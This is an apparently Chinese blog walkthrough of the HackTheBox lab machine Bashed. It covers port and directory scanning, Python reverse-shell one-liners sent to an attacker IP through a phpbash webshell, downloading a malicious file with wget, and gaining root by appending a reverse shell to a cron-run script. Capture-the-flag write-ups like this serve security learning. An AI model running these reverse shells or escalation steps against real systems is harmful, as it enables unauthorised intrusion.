本文已参与「新人创作礼」活动,一起开启掘金创作之路
Bashed
勘探
惯例先用nmap扫描一下端口,发现开了80端口
┌──(root@Mr)-[~/dirsearch]
└─# nmap 10.10.10.68
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-12 14:30 CST
Nmap scan report for 10.10.10.68
Host is up (1.2s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.03 seconds
那么我们打开web站看一看
发现是个关于phpbash的介绍,那么也许这个靶机就是叫我们学习如何使用phpbash,我们扫描一下看看能不能找到phpbash这个shell
那么对web站则用dirsearch扫描服务器网页
┌──(root@Mr)-[~/dirsearch]
└─# python3.9 dirsearch.py -u 10.10.10.68
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10977
Output File: /root/dirsearch/reports/10.10.10.68_21-12-12_14-25-42.txt
Error Log: /root/dirsearch/logs/errors-21-12-12_14-25-42.log
Target: http://10.10.10.68/
[14:25:45] Starting:
[14:25:53] 400 - 303B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[14:25:54] 301 - 308B - /php -> http://10.10.10.68/php/
[14:25:55] 301 - 307B - /js -> http://10.10.10.68/js/
[14:26:04] 403 - 297B - /.ht_wsr.txt
[14:26:04] 403 - 300B - /.htaccess.bak1
[14:26:04] 403 - 302B - /.htaccess.sample
[14:26:04] 403 - 300B - /.htaccess.orig
[14:26:04] 403 - 300B - /.htaccess.save
[14:26:04] 403 - 301B - /.htaccess_extra
[14:26:04] 403 - 298B - /.htaccess_sc
[14:26:04] 403 - 300B - /.htaccess_orig
[14:26:04] 403 - 298B - /.htaccessBAK
[14:26:04] 403 - 298B - /.htaccessOLD
[14:26:04] 403 - 299B - /.htaccessOLD2
[14:26:04] 403 - 290B - /.htm
[14:26:04] 403 - 291B - /.html
[14:26:04] 403 - 297B - /.httr-oauth
[14:26:04] 403 - 300B - /.htpasswd_test
[14:26:04] 403 - 296B - /.htpasswds
[14:26:09] 403 - 290B - /.php
[14:26:09] 403 - 291B - /.php3
[14:26:43] 200 - 8KB - /about.html
[14:27:42] 400 - 303B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[14:27:48] 200 - 0B - /config.php
[14:27:53] 200 - 8KB - /contact.html
[14:27:55] 301 - 308B - /css -> http://10.10.10.68/css/
[14:28:00] 301 - 308B - /dev -> http://10.10.10.68/dev/
[14:28:00] 200 - 1KB - /dev/
[14:28:15] 301 - 310B - /fonts -> http://10.10.10.68/fonts/
[14:28:27] 200 - 2KB - /images/
[14:28:27] 301 - 311B - /images -> http://10.10.10.68/images/
[14:28:31] 200 - 8KB - /index.html
[14:28:35] 200 - 3KB - /js/
[14:29:13] 200 - 939B - /php/
[14:29:41] 403 - 299B - /server-status
[14:29:41] 403 - 300B - /server-status/
[14:30:13] 200 - 14B - /uploads/
[14:30:14] 301 - 312B - /uploads -> http://10.10.10.68/uploads/
Task Completed
我们依次访问发现dev文件夹可以访问,并且其中有在index中介绍的phpbash
获取www权限
方法一
我们直接打开phpbash
在phpbash界面我们相当于获得了一个webshell
这使我们可以转发这个shell到一个更舒服的操作台上,我们转发到kali上,用python代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
注意,此处我设置了一个settimeout来控制时延,防止因为国内访问国外过高的延时导致tcp不能建立连接
同时我们需要在kali上监听端口
nc -vlnp 4444
注意,还是由于延迟问题,非常有可能连接不上,多试几次,不行换个v P n,只要不报错一般就能连上
到此我们算是获得了用户权限
方法二
我们之前在扫描目录的时候发现了有一个upload文件夹,那么我们思考这个文件夹我们的www用户是否有写入的权限呢,那么假如有我们是否可以通过phpshell进行远程文件包含来获得一个shell呢
那么我们在本地创建一个py文件,写入上面转发shell的代码
然后打开本地的pyhttp服务
<<python -m SImpleHTTPServer 8000>>
之后在phpbash上的upload文件夹中执行文件
**<<cd /var/www/html/uploads>>
**<<wget http://10.10.10.14.9:8000/shell.php>>
这样就下载了我们本地的恶意文件
之后访问文件并且打开nc监听就好
转发出来的shell可能不会很易用,可以用py生成一个方便一点的
<<python -c “import pty;pty.spawn(‘/bin/bash’);”>>
至此
获得www权限
获取root权限
之后在常规流程
sudo -l 来查看授权的进程
我们发现了一个可以无密码登录的账号
那么登陆一下试试
sudo -u scriptmanager /bin/bash
接下来进入到script文件夹查看内部文件权限
我们可以看出文件之间的关系,sm这个用户拥有test.py这个文件,test.py会以root权限执行
那么我们的思路就变成了,如何让txt文件转发出有root权限的shell,那么就是项py文件中写入语句,注入到txt文件中去
思路一
所以和第一次转发一样,我们再转发一次
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.17.210",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> /scripts/test.py
将转发命令写入txt文件中,并打开我们相应的端口
成功
搞定
思路二
因为转发的shell没办法使用vim来修改文件内容,那么我们要不用echo来向文件内注入内容,要不就上传一个一样的文件
我们查看test.py文件的所有者是scriptmanager,那么我们猜测,我们可以上传一个同名文件然后删除原来的文件,来实现用root权限执行我们的同名恶意文件
那么我们依旧是用我们转发shell的语句写入我们本地的文件中并命名为test.py,然后在靶机上用wget下载,然后nc监听就可以了
实际上虽然效果没问题,但其实我们猜测的偏差
Bashed HackTheBox WalkThrough - Ethicalhacs.com
在这篇文章中作者使用了linpeas探查了进程,发现只要是在script文件夹中,所有的py文件都会被以root权限执行,所以,文件名其实无所谓改成什么
定期执行的思路来源
Most interesting is that the test.txt file is owned by root, and seems to be the result of the test.py script, which is writable by scriptmanager.
First, I tried moving test.txt to test.txt.old. A few minutes later, it’s back:
scriptmanager@bashed:/scripts$ date Wed Mar 7 05:37:32 PST 2018 scriptmanager@bashed:/scripts$ ls test.py test.txt.old test2.py test3.py testt.py scriptmanager@bashed:/scripts$ date Wed Mar 7 05:39:14 PST 2018 scriptmanager@bashed:/scripts$ ls test.py test.txt test.txt.old test2.py test3.py testt.pySomething is running that test.py script from the /scripts directory.
Create a test script that writes to a different file, and it writes the different file. So any .py file seems to be run. Also, since test.py doesn’t have a #! at the start, it seems that whatever is running this (maybe a cron?) is calling python.
雨天呀: HTB-hackthebox-Bashed
Hack the Box (HTB) machines walkthrough series — Bashed - Infosec Resources (infosecinstitute.com)